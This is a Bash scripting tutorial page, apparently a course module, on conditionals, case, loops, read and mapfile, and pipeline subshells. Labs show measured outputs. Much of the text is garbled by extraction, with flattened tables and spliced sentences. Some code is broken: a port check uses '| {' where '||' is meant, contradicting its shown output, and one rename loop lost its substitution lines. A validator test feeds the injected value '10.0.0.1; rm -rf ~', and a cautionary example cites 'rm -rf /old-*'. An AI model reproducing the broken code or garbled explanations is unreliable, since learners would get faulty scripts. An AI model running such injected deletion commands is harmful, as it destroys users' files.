(( a < b )) (most readable); [[ $a -lt $b ]] also works (both evaluate their operands arithmetically; watch for the octal and injection issues from Module 2: [[ 08 -eq 8 ]] (tested: it errors).[[ ]].case.[ "$x" = y ], quote all variables, and use = rather than ==.[ and [[ are just different styles”—one is a command, the other is syntax, and their argument handling is completely different. ② “[[ $a > $b ]] compare numbers”—it is a string comparison. ③ “=~ right side needs quotes”—adding quotes makes it a literal match. ④ “[ -n $x ] can test for non-empty”—when x is empty, it is always true. ⑤ “if [ $? -eq 0 ] is a good way to check that a command succeeded”—directly check if cmd; then, and inserting any command in between will change $?. ⑥ “cmd && a || b is equivalent to if/else”—when a fails, b also runs.[ sees the arguments only in the “execution phase”; [[ the structure is fixed in the “parsing phase”;& similar to the fall-through in C's switch; ;;& lets one value hit multiple branches (for example, applying several labels at once)[ and [[ parse comparatorPick a condition and variable value, then step through it: [ How argv is built when used as a command,[[ and how operands stay intact when used as a keyword. Results match the measured Bash 5.2.37 output.
| Category | Operator | Meaning |
|---|---|---|
| String | -z s / -n s | Length 0 / non-zero ([[ $s ]] equivalent to -n) |
s1 == s2,s1 != s2 | [[ ]] in [[ ]], the right side is a pattern; [ ] use = | |
s1 < s2,s1 > s2 | lexicographic order ([[ ]] uses the current locale's collation rules) | |
s =~ re | ERE regex (only [[ ]]), result in BASH_REMATCH | |
| Numeric | -eq -ne -lt -le -gt -ge | operands are evaluated as arithmetic expressions |
| File | -e -f -d -L/-h | exists / regular file / directory / symbolic link (-f and -d follow links) |
-r -w -x | readable / writable / executable by current user | |
-s | exists and size > 0 | |
f1 -nt f2,-ot,-ef | modified more recently / older / same file (same inode) | |
-p -S -t fd | named pipe / socket / fd is a terminal ([[ -t 1 ]] checks whether output goes to a terminal) | |
| Variable | -v name,-v 'a[k]' | is set (even if empty) (4.2+; array elements 4.3+) |
| Option | -o optname | Shell option is enabled, e.g. [[ -o nounset ]] |
x=""
[ -n $x ] && echo "1: [ -n \$x ] is true (bug)"
[ -n "$x" ] || echo "1b: [ -n \"\$x\" ] is false (correct)"
[[ -n $x ]] || echo "1c: [[ -n \$x ]] is false (correct)"
f="my file.txt"; touch "$f"; [ -f $f ]; echo "2: rc=$?"; [[ -f $f ]] && echo "2b: ok"; rm -f -- "$f"
pat="*.log"; name="app.log"
[[ $name == $pat ]] && echo "3: pattern match"; [[ $name == "$pat" ]] || echo "3b: literal comparison not equal"
ip=10.10.1.11
re='^([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})$'
[[ $ip =~ $re ]] && echo "4: ${BASH_REMATCH[0]} -> ${BASH_REMATCH[1]} ${BASH_REMATCH[4]} (n=${#BASH_REMATCH[@]})"
[[ abc =~ "a.c" ]] || echo "6: quoted text is the literal a.c"
env=PROD; shopt -s nocasematch
case $env in prod|production) echo "8: nocasematch prod";; esac; shopt -u nocasematch
case 404 in 2??) echo 2xx;; 4??) echo "9: 4xx";& 5??) echo "9: fallthrough(;&)";; esac
case abc in a*) echo "10: one";;& *c) echo "10: two";; *) echo "10: three";; esac
unset u; [[ -v u ]] || echo "15: u unset"; u=; [[ -v u ]] && echo "15b: u set (empty)"
[[ 08 -eq 8 ]]; echo "22: rc=$?"
1: [ -n $x ] is true (bug) 1b: [ -n "$x" ] is false (correct) 1c: [[ -n $x ]] is false (correct) bash: [: my: binary operator expected 2: rc=2 2b: ok 3: pattern match 3b: literal comparison not equal 4: 10.10.1.11 -> 10 11 (n=5) 6: quoted text is the literal a.c 8: nocasematch prod 9: 4xx 9: fallthrough(;&) 10: one 10: two 15: u unset 15b: u set (empty) bash: [[: 08: value too great for base (error token is "08") 22: rc=1
How to verify: For [ issues,set -x you can see the actual arguments passed to [ . Common mistakes: Regex ^[0-9]{1,3}…$ only validates format, not the 0–255 range; the lab below adds that step. Production use: argument validation, dispatching roles by hostname, parsing version numbers.
cd ~/bashlab/part2 && mkdir -p m4 && cd m4
lib/util.sh functions; here we write a script first and dispatch with case):
cat > validate.sh <<'EOF'
#!/usr/bin/env bash
# Usage: validate.sh <type> <value> type: env | ip | host | port
kind=${1:?Usage: validate.sh <env|ip|host|port> <value>}
val=${2-}
case $kind in
env)
case $val in
dev|staging|prod) echo "OK env=$val" ;;
*) echo "Invalid environment: ${val@Q} (must be dev|staging|prod)" >&2; exit 2 ;;
esac ;;
ip)
re='^([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})$'
[[ $val =~ $re ]] || { echo "Invalid IP format: ${val@Q}" >&2; exit 2; }
for octet in "${BASH_REMATCH[@]:1}"; do
(( 10#$octet <= 255 )) || { echo "IP octet out of range: $octet" >&2; exit 2; }
done
echo "OK ip=$val" ;;
host)
[[ $val =~ ^[a-z][a-z0-9-]{0,61}[a-z0-9]$ ]] || { echo "Invalid hostname: ${val@Q}" >&2; exit 2; }
echo "OK host=$val" ;;
port)
[[ $val =~ ^[0-9]{1,5}$ ]] && (( 10#$val >= 1 && 10#$val <= 65535 )) \
| { echo "Invalid port: ${val@Q}" >&2; exit 2; }
echo "OK port=$((10#$val))" ;;
*) echo "Unknown type: ${kind@Q}" >&2; exit 2 ;;
esac
EOF
chmod +x validate.sh
Note: the here-doc uses <<'EOF' (quoted), so the $val are written to the file as-is, not expanded when the file is generated (Module 7 explains why). Exit code 2 means a usage or argument error, matching opsctl's convention. The regex can also go directly in [[ … =~ ^…$ ]] is also fine, as long as it has no spaces or shell special characters.
./validate.sh env prod ./validate.sh env PROD; echo "rc=$?" ./validate.sh ip 10.10.1.11 ./validate.sh ip 10.10.1.256; echo "rc=$?" ./validate.sh ip '10.0.0.1; rm -rf ~'; echo "rc=$?" ./validate.sh host web-01 ./validate.sh host 'Web_01'; echo "rc=$?" ./validate.sh port 08080 ./validate.sh port 70000; echo "rc=$?" ./validate.sh; echo "rc=$?"
OK env=prod Invalid environment: 'PROD' (must be dev|staging|prod) rc=2 OK ip=10.10.1.11 IP octet out of range: 256 rc=2 Invalid IP format: '10.0.0.1; rm -rf ~' rc=2 OK host=web-01 Invalid hostname: 'Web_01' rc=2 OK port=8080 Invalid port: '70000' rc=2 ./validate.sh: line 3: 1: Usage: validate.sh <env|ip|host|port> <value> rc=1
The port 08080 is 10# correctly treated as decimal. The last one: ${1:?…} On failure the exit code is 1 (not the 2 we agreed on); Lesson 3 uses an explicit usage-check function to unify exit codes.
while IFS=, read -r name env region ip role; do
[[ $name == name ]] && continue
./validate.sh host "$name" >/dev/null && ./validate.sh env "$env" >/dev/null && ./validate.sh ip "$ip" >/dev/null \
&& echo "✓ $name" || echo "✗ $name"
done < "$DATA/servers.csv"
✓ web-01 ✓ api-01 ✓ db-01 ✓ web-01 ✓ api-01 ✓ db-01 ✓ web-01 ✓ web-02 ✓ api-01 ✓ edge-01 ✓ db-01 ✓ bastion-01
Hostnames repeat across dev / staging / prod, so web-01 appears 3 times; use a composite key when keying by hostname (e.g. "$env/$name"). edge-01 also “passed”: it only validated host, env and ip, while the problem with quoted commas is in the role field (the capstone lab checks field count).
Here we used a && b || c: since b is echo (which almost never fails), it is equivalent to if/else. If b can fail, you must use if instead.
validate.sh for reference in Module 8 and the capstone lab; or rm -rf -- ~/bashlab/part2/m4.Problem: The cleanup script if [ -n $BACKUP_DIR ]; then rm -rf "$BACKUP_DIR"/old-*; fi. When BACKUP_DIR is unset, [ -n ] the test is true and the command becomes rm -rf /old-*. Fix:[[ -n ${BACKUP_DIR:-} ]], and in deletion paths use "${BACKUP_DIR:?}"; run ShellCheck in CI (SC2070: -n doesn't work with unquoted arguments). Limitation: If the script must run under dash, you can only use [ -n "$BACKUP_DIR" ].
Problem: In ops scripts the if/elif chain keeps growing, and the matching logic for deploy,Deploy,deploy-all interferes with each other. Fix:case ${1:-help} in deploy) …;; status|st) …;; help|-h|--help) usage;; *) usage >&2; exit 2;; esac— exactly the approach used by Lesson 3's opsctl entry point. Limitation: case only does string matching; for complex parsing before dispatch, use getopts (Lesson 3).
Problem: The pre-deployment check [[ $ver > 1.9 ]], the Kubernetes client 1.10 is judged “too old” (lexicographic "1.10" < "1.9"). Fix: Use a regex to split out the major and minor version numbers and compare each part numerically: [[ $ver =~ ^([0-9]+)\.([0-9]+) ]] && (( BASH_REMATCH[1] > 1 || (BASH_REMATCH[1] == 1 && BASH_REMATCH[2] >= 9) )). Limitation: Pre-release versions (-rc1) need extra rules; for complex cases use sort -V.
Cause:[ $x = y ] with x empty, one argument is missing. Fix:[ "$x" = y ] or [[ $x == y ]].
Cause: the variable contains spaces or wildcards and gets split into multiple arguments. Diagnosis:set -x to see the actual arguments. Fix: Add quotes or switch to [[ ]].
Cause: the regex contains spaces, parentheses,| etc., written directly inside [[ … =~ … ]] . Fix: first put the regex in a variable: re='^(GET|POST) /', then [[ $line =~ $re ]].
Cause:① a quoted right side gives a literal match; ② Perl/PCRE syntax \d,\s non-greedy *?, not supported in ERE (use [0-9],[[:space:]]); ③ a trailing \r. Diagnosis:printf '%q\n' "$line".
Cause: Running sh script.sh , on Ubuntu sh is dash, which does not support == and [[. Fix: Run with bash, or rewrite in POSIX form.
Cause: the pattern was written as a quoted "*.log") (literal match), or regex syntax was treated as a glob ([0-9]+ in a glob means “one digit followed by a plus sign”). Fix: Leave the wildcard parts of the pattern unquoted; for “one or more digits” use extglob +([0-9]) (requires shopt -s extglob).
if [[ -t 1 ]]; then red=$'\e[31m' reset=$'\e[0m'; else red= reset=; fi
echo "${red}ERROR${reset} something failed"line='192.0.2.44 - - [17/Nov/2026:10:00:06 +0000] "GET /api/orders HTTP/1.1" 500 87' , use a regex to extract the method, path and status code.re='"([A-Z]+) ([^ ]+) [^"]*" ([0-9]{3})'
[[ $line =~ $re ]] && echo "${BASH_REMATCH[1]} ${BASH_REMATCH[2]} ${BASH_REMATCH[3]}"
# GET /api/orders 500Alpine's /bin/sh is BusyBox ash: use only [ ] (quote all variables, use = rather than ==), use case instead of [[ == pattern ]], use grep -E or expr instead of =~ (one extra process fork), with no arrays and no BASH_REMATCH. The trade-offs are lower readability, slower performance and more quoting bugs. Alternatives: in the image, apk add bash and use #!/usr/bin/env bash, or use the official bash:5.3 image.
This courseware cannot generate video/MP3 directly; the storyboard and narration below can be handed to a video tool.
[ is zoomed in, revealing the file /usr/bin/[ next to the built-in version.[ = y ] causing an error; switch to [[, and an empty string stays in the operand position.for x in list, C-style for (( i=0; i<n; i++ )),while condition,until condition; know that lists can come from brace expansion ({1..10}, not variables), globs, arrays and positional parameters "$@".for f in dir/* instead of $(ls); handle “no match, pattern returned as-is” (nullglob or [[ -e $f ]] || continue); for filenames beginning with - , use -- or ./ prefix.break,continue and their level argument break 2; understand the exit status of a loop (the status of the last command it ran; 0 if it iterates zero times).done (the whole loop opens the file only once); write a retry or polling loop with a timeout (Lesson 4 adds backoff and trap).| Form | Semantics | Typical use |
|---|---|---|
for name in words; do …; done | words go through all expansions (including word splitting and globbing) and are assigned to name one at a time; omitting in words loops over "$@" | iterate over globs, arrays, parameters |
for (( init; cond; step )); do …; done | arithmetic for; all three expressions are arithmetic expressions | counting loops, ranges with a variable upper bound |
while list; do …; done | continue while list exit status is 0 | reading files (Module 6), polling, conditional loops |
until list; do …; done | list exit status non-zero keeps the loop going | retry until success |
select name in words; do …; done | print a numbered menu and read the choice from stdin | interactive tools (rarely used in automation) |
A loop is a compound command: you can redirect the whole loop (done < in > out), pipe it, put it in the background, or add 2>&1. break [n] exits n loop levels,continue [n] starts the next iteration of the n-th outer loop (n defaults to 1).
| Form | Problem | Measured (4 oddly named files in files/) |
|---|---|---|
for f in $(ls files) | split on whitespace, then globbed again; filenames with newlines are split in two | Yields 6 “words” |
for f in files/* | ✓ one element per file, names kept as-is | Yields 4 files |
for f in files/*.csv (no match) | the pattern itself as the only element | the loop body receives the literal files/*.csv |
shopt -s nullglob — same as above | ✓ expands to nothing when there is no match, the loop body does not run | 0 iterations |
for i in {1..$n} | brace expansion happens before parameter expansion | yields the literal {1..3} |
for (( i=1; i<=n; i++ )) | ✓ | 1 2 3 |
for line in $(cat file) | it iterates over “words”, not “lines” | Use while IFS= read -r (Module 6) |
for x in list 's list is fully expanded up front; modifying the array or creating files inside the loop does not affect this traversal.while/until The condition command is re-run before each iteration.( ) , which is the topic of Module 6's core animation.for x in; do :; done status is 0).done > out.txt opens the file once before the loop starts; inside the loop body echo … >> out.txt means each iteration opens and closes it.for in.for (( )) (seq is an external command; its behaviour differs slightly in Alpine's BusyBox).while IFS= read -r (Module 6).until + timeout + sleep.find … -print0 + while read -d '' (Module 6, Lesson 5), or shopt -s globstar; for f in **/*.log.| Bash for loop | xargs / parallel | find -exec | awk | |
|---|---|---|---|---|
| fork per item? | only when calling external commands | batch arguments, fewer | {} + Batch | None |
| Parallel | hand-written & + wait | ✓ -P | ✗ | ✗ |
| Best for | complex logic, moderate item count | same operation on many files | find files by condition, then process | aggregate text data |
for f in $(ls *.txt) is clearer than for f in *.txt ”—the former adds a fork and fails on spaces, newlines and wildcards. ② “{1..$n} can be used”—it cannot. ③ “break only exits one level”—break 2 exits two levels. ④ “while true is slower than while : ”—both are builtins, the difference is negligible, so pick whichever reads better. ⑤ “a glob with no match means the loop does not run”——it runs once by default, and the variable holds the pattern itself.continue n/break n 's n means “applies to the n-th loop counting from the innermost outward”while read the input < file after done .Pick a snippet and step through it. The highlighted line is the next command Bash will run; the right side shows variables and output. As in real Bash,for 's list is fully expanded at the first step.
cd ~/bashlab/data
n=0; for f in $(ls files); do n=$((n+1)); done; echo "words=$n" # ✗
n=0; for f in files/*; do n=$((n+1)); printf '%q\n' "$f"; done; echo "files=$n" # ✓
for f in files/*.csv; do echo "got: $f"; done # no match
shopt -s nullglob; for f in files/*.csv; do echo "got: $f"; done; shopt -u nullglob
n=3; echo {1..3}; echo {1..$n}; for ((i=1; i<=n; i++)); do printf '%d ' "$i"; done; echo
echo {01..10..3} # zero-padding + step (4.0+)
words=22
files/--verbose.log
files/-n
files/\[draft\]\ notes.md
files/café-ünïcode.txt
files/it\'s.txt
$'files/line1\nline2.txt'
files/price\ \$5.txt
files/report\ 2026.txt
files/say\ \"hi\".txt
files/star\*.txt
files/sub\ dir
$'files/tab\there.txt'
files/trailing-space.txt\
files/two\ \ spaces.txt
files=14
got: files/*.csv
1 2 3
{1..3}
1 2 3
01 04 07 10
Of the 15 entries,* the glob does not match names starting with a dot .hidden.txt, so the glob yields 14 (including directory sub dir); $(ls files) then splits into 22 “words”. trailing-space.txt\ Trailing spaces,tab\there.txt and tabs in %q are shown as-is. To include hidden files, use shopt -s dotglob; for regular files only, add [[ -f $f ]] || continue.
for i in 1 2 3 4 5; do (( i == 2 )) && continue; (( i == 4 )) && break; echo "i=$i"; done
for env in dev prod; do
for h in a b c; do
[[ $env/$h == prod/b ]] && break 2
echo "$env/$h"
done
done; echo "after break 2"
for i in 1 2 3; do echo "line $i"; done > out.txt; wc -l < out.txt
for x in a; do false; done; echo "rc=$?"; for x in; do :; done; echo "empty for rc=$?"
i=1 i=3 dev/a dev/b dev/c prod/a after break 2 3 rc=1 empty for rc=0
# wait for a condition to become true, up to timeout seconds
wait_for() { # usage: wait_for timeout_seconds command [args…]
local timeout=$1; shift
local deadline=$(( SECONDS + timeout ))
until "$@"; do
(( SECONDS >= deadline )) && { echo "timeout: $*" >&2; return 1; }
sleep 1
done
}
wait_for 10 test -e /tmp/ready.flag && echo "ready"
SECONDS is a Bash built-in (seconds since shell start), far cheaper than calling date +%s repeatedly. Functions are covered in Lesson 3; passing a command as "$@" is an extension of array thinking. Lesson 4 adds exponential backoff and trap.
| Form | Description |
|---|---|
for f in "$dir"/*; do [[ -e $f ]] || continue; … | Guard against “no match” when nullglob is off |
shopt -s globstar; for f in **/*.log | recursive matching (4.0+); watch out for symlinks and performance |
for arg; do …; done | equivalent to for arg in "$@" |
while :; do …; done | infinite loop, exits with break inside |
for (( ;; )) | same as above, C-style |
done < file / done > file / done | cmd | Redirect for the whole loop; the latter runs the loop in a subshell (Module 6) |
files/ files stay read-only and are reserved for later lessons; here we reproduce three of these problem types: leading dash, newline and space):
cd ~/bashlab/part2 && mkdir -p m5/in && cd m5 touch -- 'in/report 2026.txt' 'in/-rf.txt' $'in/line\nbreak.txt' ls -1b in
-rf.txt line\nbreak.txt report\ 2026.txt
ls -b Shows invisible characters using C-style escapes. touch -- … The -- prevents -rf.txt from being parsed as an option (touch -rf.txt would be read as -r f.txt: uses f.txt as the time reference).
for f in $(ls in); do [[ -e in/$f ]] && echo "OK $f" || echo "BAD $f"; done
OK -rf.txt BAD line BAD break.txt BAD report BAD 2026.txt
shopt -s nullglob
for f in in/*; do
base=${f##*/}
# space, tab, newline → _
# needs extglob: strip one or more leading -
[[ $safe == "$base" ]] && continue
printf 'mv -- %q %q\n' "$f" "in/$safe"
done
The second substitution uses an extglob pattern +(-), so you must first shopt -s extglob (in an interactive Ubuntu shell it is usually already enabled by bash-completion; in scripts it must be enabled explicitly).
shopt -s extglob nullglob
for f in in/*; do
base=${f##*/}; safe=${base//[[:space:]]/_}; safe=${safe##+(-)}
[[ $safe == "$base" ]] && continue
mv -- "$f" "in/$safe"
done
ls in
line_break.txt report_2026.txt rf.txt
( sleep 3; touch ready.flag ) &
start=$SECONDS
until [[ -e ready.flag ]]; do
(( SECONDS - start >= 10 )) && { echo "timeout"; break; }
sleep 1
done
echo "waited $(( SECONDS - start )) seconds"; wait
waited 3 seconds
cd ~/bashlab/part2 && rm -rf -- m5.Problem:for f in $(find /var/log/app -name '*.log' -mtime +7); do rm $f; done. One day someone uploaded a file named access 2026.log, and the script ran rm access and rm 2026.log— coincidentally, the current directory held an important file named access . Fix:find … -mtime +7 -delete, or find … -print0 | xargs -0 rm -- (Lesson 5), or while IFS= read -r -d '' f; do rm -- "$f"; done < <(find … -print0) (Module 6). Limitations:-delete and -print0 are GNU/BSD find extensions (POSIX 2024 added -print0).
Problem: Right after the restart, curl /healthz fails intermittently, causing a rollback. Fix: Use until with a timeout-based poll: until curl -fsS --max-time 2 "$url" >/dev/null; do (( SECONDS > deadline )) && exit 1; sleep 2; done; Lesson 6's opsctl health adds backoff and jitter. Limitation: A polling interval that is too short puts extra load on a service that just started.
Problem: In the report loop echo … >> /mnt/nfs/report.txt, each iteration does an open/close, which is slow on NFS, and another process read a half-written file. Fix: redirect the whole loop to a temp file in the same directory done > "$tmp", then, when done, mv -- "$tmp" report.txt (a rename within the same filesystem is atomic; Lesson 6 covers this in detail).
Cause: the glob has no match, so it is kept as-is by default. Fix:shopt -s nullglob, or at the start of the loop [[ -e $f ]] || continue. Note that nullglob also affects ls *.csv commands like this (with no match, they become ls, listing the entire directory).
Cause: missing do,; or saved with CRLF line endings in a Windows editor (do\r). Diagnosis:cat -A script.sh | grep '\^M' or file script.sh. Fix:sed -i 's/\r$//' script.sh or dos2unix; set the editor to LF.
Cause: Brace expansion happens before parameter expansion, so the value of n is not yet visible. Fix:for (( i=1; i<=n; i++ )).
Cause: break is used outside a loop (or inside a function called from a subshell on the right side of a pipe). Fix: check the structure; in a function use return and check the return value inside the loop.
Cause:while : has no sleep, or the exit condition never becomes true (for example, comparing strings "10" < "9"). Diagnosis:top shows the bash process at 100%; bash -x check the condition. Fix: add sleep, add a timeout cap, use (( )) for numeric comparison.
$DATA/files , all entries (including dotfiles, but excluding . and ..), printing a safely quoted form of each name.shopt -s nullglob dotglob
for f in "$DATA"/files/*; do printf '%q\n' "${f##*/}"; done
shopt -u nullglob dotglobEnabled by default since Bash 5.2 globskipdots,.* does not match . and ...
while IFS=, read -r name env region ip role; do
[[ $env == prod ]] || continue
status=down
for (( i = 1; i <= 3; i++ )); do
if ping -c1 -W1 "$ip" >/dev/null 2>&1 </dev/null; then status=up; break; fi
done
echo "$name $status"
done < "$DATA/servers.csv"</dev/null Prevents commands in the loop body from “eating” the while loop's stdin; Module 6's troubleshooting section covers this in detail.
150,000 fork+exec calls are the main cost. ① Replace basename/cut with parameter expansion; ② for dates, use printf '%(%F)T' -1 (a builtin, 4.2+) or compute it once outside the loop; ③ if each file's real work is an external command, use find -print0 | xargs -0 -P 4 to run batches in parallel; ④ for text aggregation, hand it to awk in one pass. This usually cuts the time from minutes to seconds.
This courseware cannot generate video/MP3 directly; the storyboard and narration below can be handed to a video tool.
while IFS= read -r line || [[ -n $line ]]; do …; done < file— this module explains each symbol in that line and why cmd | while read can lose variablesIFS= (keeps leading and trailing whitespace),-r (backslash is not an escape),|| [[ -n $line ]] (handles a last line without a newline) fixes.IFS=, read -r a b c to split fields, knowing that “the last variable gets all remaining content”; use read -r -a arr to read into an array; use read -r -d '' together with find -print0 to handle arbitrary filenames.mapfile -t (= readarray), read a file or command's output into an array and learn -t,-s,-n,-d (4.4+).cmd | while read …; done — why variables are “lost” afterward: each element of a pipeline runs in its own subshell (a child process); fix with while … done < <(cmd) (process substitution) or shopt -s lastpipe (only when job control is off, i.e. in scripts); use $BASHPID to prove it.</dev/null or use a separate fd (read -u 3 / <&3).read is a builtin: reads from stdin (or -u fd) reads one line (up to a newline, or -d the given delimiter), then:
-r: backslash is an escape character,\ + newline means continuation,\n becomes n (measured C:\new\dir → C:newdir).,) each count as a separator (1,,3 → 3 fields, with an empty middle one).REPLY (leading and trailing whitespace is not trimmed here).| Part | What happens without it (measured) |
|---|---|
IFS= (a temporary assignment that applies only to this read) | " indented⇥line " is read as "indented⇥line" (leading and trailing whitespace lost) |
-r | C:\new\dir is read as C:newdir |
|| [[ -n $line ]] | When the last line has no trailing newline, read returns 1 and the loop ends early: a 3-line file is processed as only 2 lines (wc -l also reports 2). |
done < file (not cat file |) | The loop runs in a subshell, so variables are lost after the loop |
Bash manual (Pipelines section): “Each command in a multi-command pipeline, where pipes are created, is executed in its own subshell, which is a separate process. If the lastpipe option is enabled using the shopt builtin, and job control is not active, the last element of a pipeline may be run by the shell process.”
In other words,printf … | while read …; done in while , the loop runs in a forked child process. The child gets a copy of the parent's memory (copy-on-write), and changes it makes to count only happen in its own address space. When the loop ends and the child exits, that memory disappears; in the parent, count has never been modified. $$ still shows the parent shell's PID inside a subshell (measured: same value); to see the real process number you need $BASHPID:
main BASHPID=26 $$=26 in loop: BASHPID=28 $$=26 count=1 ← cmd | while: loop runs in PID 28 (child process) in loop: BASHPID=28 $$=26 count=2 in loop: BASHPID=28 $$=26 count=3 pipe: count=0 ← count in the parent is unchanged in loop: BASHPID=26 count=1 ← while … done < <(cmd): loop runs in PID 26 (current shell) … procsub: count=3 in loop: BASHPID=26 ← cmd | while after shopt -s lastpipe lastpipe: count=3
| Form | Where the loop runs | Use case | Notes |
|---|---|---|---|
while …; done < file | Current shell | Data from a file | Simplest, POSIX |
while …; done < <(cmd) | Current shell; cmd runs in a child process, connected via /dev/fd/N (or a named pipe) | Data from a command | Bash/ksh/zsh; cmd's exit status cannot be read directly (use wait $!: since Bash 4.4, $! points to the most recent process substitution, and you can wait for it). |
shopt -s lastpipe + cmd | while … | Current shell (last element of the pipe) | Keep the pipe syntax | Bash 4.2+; no effect when job control is on— interactive terminals enable job control by default, so trying it directly shows no effect; it only works in scripts (interactively, you can first set +m) |
mapfile -t arr < <(cmd) | Current shell | Read into an array first, then process | the whole dataset goes into memory |
cmd | { while …; done; echo "$count"; } | subshell, but use the result within the same subshell | only need to use the result within the pipe | POSIX; the result still cannot be carried back to the parent shell |
while IFS= read -r line || [[ -n $line ]]; do …; done < file.mapfile -t lines < file.find … -print0 + read -r -d '' or mapfile -d '' -t (4.4+).read -r -p "prompt: " ans, password read -rs, timeout read -t 5 (on timeout the status is > 128; measured 142).while read line is enough”—it loses leading and trailing whitespace, backslashes and the last line. ② “cat file | while read and while read … < file are the same”—the former runs in a subshell. ③ “$$ can tell subshells apart”—it cannot; use $BASHPID. ④ “lastpipe has no effect in a terminal, so it is broken”—it is disabled by job control. ⑤ “for line in $(cat file) is line-by-line reading”—that is word-by-word. ⑥ “IFS=, can parse CSV”—it does not understand quotes.cmd | while read Why variables get lostChoose a form, then step through it. The animation shows the system call order Bash actually uses: pipe() create pipe → fork() (on Linux it is actually clone()) create child process → dup2() connect the pipe ends to fd 0/1 → the read() → child process exit() → parent process wait4(). Box colours: blue = current shell, yellow = running, green = variable change takes effect in current shell, red = change is lost with the child process. PIDs in the log are example values.
| Form | Purpose |
|---|---|
while IFS= read -r line || [[ -n $line ]]; do …; done < f | Standard line-by-line read |
IFS=, read -r a b c | split on commas into 3 variables (c gets the rest) |
IFS=, read -r -a arr | split into an array |
read -r -d '' f | NUL as delimiter (with -print0) |
read -r -p "Confirm? [y/N] " ans | prompt and read (the prompt is written to stderr) |
read -rs -p "Password: " pw | no echo |
read -r -t 5 ans | 5-second timeout; exit status > 128 on timeout |
read -r -n 1 key | read one character only |
read -r -u 3 line / read -r line <&3 | read from fd 3 |
mapfile -t arr < f | one element per line,-t strip the newline |
mapfile -t -s 1 -n 100 arr < f | skip 1 line (header), read at most 100 lines |
mapfile -d '' -t arr < <(find … -print0) | NUL-delimited (4.4+) |
mapfile -t -C cb -c 1000 arr | call a callback every 1000 lines (progress display) |
cd ~/bashlab/part2 && mkdir -p m6 && cd m6
printf 'x\ny\nz' > nolf.txt # last line has no newline
n=0; while read -r l; do n=$((n+1)); done < nolf.txt; echo "plain: $n lines"
n=0; while IFS= read -r l || [[ -n $l ]]; do n=$((n+1)); done < nolf.txt; echo "fixed: $n lines"
mapfile -t arr < nolf.txt; echo "mapfile: ${#arr[@]}"; wc -l < nolf.txt
printf ' indented\tline \n' > ws.txt
read -r l < ws.txt; printf '[%s]\n' "$l"
IFS= read -r l < ws.txt; printf '[%s]\n' "$l"
printf '%s\n' 'C:\new\dir' > bs.txt
read l < bs.txt; echo "no -r: [$l]"; read -r l < bs.txt; echo "-r: [$l]"
IFS=: read -r user _ uid gid _ home shell <<< 'labadmin:x:1000:1000:Lab Admin:/home/labadmin:/bin/bash'
echo "$user $uid $home $shell"
IFS=, read -r a b <<< "1,2,3,4"; echo "a=$a b=$b"
IFS=, read -r -a parts <<< "1,,3"; declare -p parts
mapfile -t -s 1 -n 2 rows < "$DATA/servers.csv"; declare -p rows
plain: 2 lines fixed: 3 lines mapfile: 3 2 [indented line] [ indented line ] no -r: [C:newdir] -r: [C:\new\dir] labadmin 1000 /home/labadmin /bin/bash a=1 b=2,3,4 declare -a parts=([0]="1" [1]="" [2]="3") declare -a rows=([0]="web-01,dev,canadacentral,10.10.1.21,web" [1]="api-01,dev,canadacentral,10.10.1.22,api")
wc -l counts newline characters, so files whose “last line has no newline” are also undercounted by one; POSIX defines a “line” as ending in a newline. mapfile is unaffected.
mkdir -p rd; touch -- 'rd/a b' $'rd/c\nd' 'rd/-e'
while IFS= read -r -d '' f; do printf '%q\n' "$f"; done < <(find rd -type f -print0 | sort -z)
mapfile -d '' -t fl < <(find rd -type f -print0); echo "mapfile -d '': ${#fl[@]}"
rd/-e rd/a\ b $'rd/c\nd' mapfile -d '': 3
echo "main BASHPID=$BASHPID \$\$=$$" count=0 printf 'a\nb\nc\n' | while read -r l; do (( ++count )); echo " loop BASHPID=$BASHPID count=$count"; done echo "pipe: count=$count" count=0 while read -r l; do (( ++count )); done < <(printf 'a\nb\nc\n'); echo "procsub: count=$count" bash -c 'shopt -s lastpipe; count=0; printf "a\nb\nc\n" | while read -r l; do (( ++count )); done; echo "lastpipe: count=$count"'
main BASHPID=26 $$=26 loop BASHPID=28 count=1 loop BASHPID=28 count=2 loop BASHPID=28 count=3 pipe: count=0 procsub: count=3 lastpipe: count=3
Running the last line with bash -c : a non-interactive shell has no job control, so lastpipe takes effect. If you run it directly in an interactive terminal, shopt -s lastpipe try again and the result is still 0 (the manual says lastpipe has no effect when job control is on); first run set +m to turn off job control to observe the effect.
cd ~/bashlab/part2 && mkdir -p m6 && cd m6
{ printf 'name,env,region,ip,role\r\n'
printf 'web-01,prod,canadacentral,10.10.1.11,web\r\n'
printf '%s\r\n' ' api-01,staging,canadacentral,10.10.2.21,api\v2' # %s does not interpret backslashes
printf 'db-01,prod,canadacentral,10.10.3.31,db'; } > messy.csv
cat -A messy.csv
name,env,region,ip,role^M$ web-01,prod,canadacentral,10.10.1.11,web^M$ api-01,staging,canadacentral,10.10.2.21,api\v2^M$ db-01,prod,canadacentral,10.10.3.31,db
declare -A by_env=(); total=0 cat messy.csv | while IFS=, read name env region ip role; do [[ $name == name ]] && continue (( ++total )); (( ++by_env[$env] )) done echo "total=$total"; declare -p by_env
total=0 declare -A by_env=()
Three bugs stack up: ① the pipe → subshell, so all results are lost; ② no -r,api\v2 becomes apiv2; ③ the last line db-01 has no newline and is skipped. Also \r stays in the last field (role) of each line.
declare -A by_env=(); total=0
while IFS=, read -r name env region ip role || [[ -n $name ]]; do
role=${role%$'\r'} # strip the Windows carriage return
name=${name#"${name%%[![:space:]]*}"} # strip leading whitespace (the trim from Module 1)
[[ $name == name ]] && continue
(( ++total )); (( ++by_env[$env] ))
printf '%-8s %-8s %s\n' "$name" "$env" "${role@Q}"
done < messy.csv
echo "total=$total"; declare -p by_env
web-01 prod 'web' api-01 staging 'api\v2' db-01 prod 'db' total=3 declare -A by_env=([prod]="2" [staging]="1" )
Note: || [[ -n $name ]] checks the first variable; when reading into several variables, the last line's content has already been assigned to them.
printf 'h1\nh2\nh3\n' > hosts.txt while read -r h; do echo "host=$h"; cat > /dev/null; done < hosts.txt # cat eats the remaining lines echo --- while read -r h; do echo "host=$h"; cat > /dev/null < /dev/null; done < hosts.txt echo --- while read -r h <&3; do echo "host=$h"; cat > /dev/null; done 3< hosts.txt < /dev/null
host=h1 --- host=h1 host=h2 host=h3 --- host=h1 host=h2 host=h3
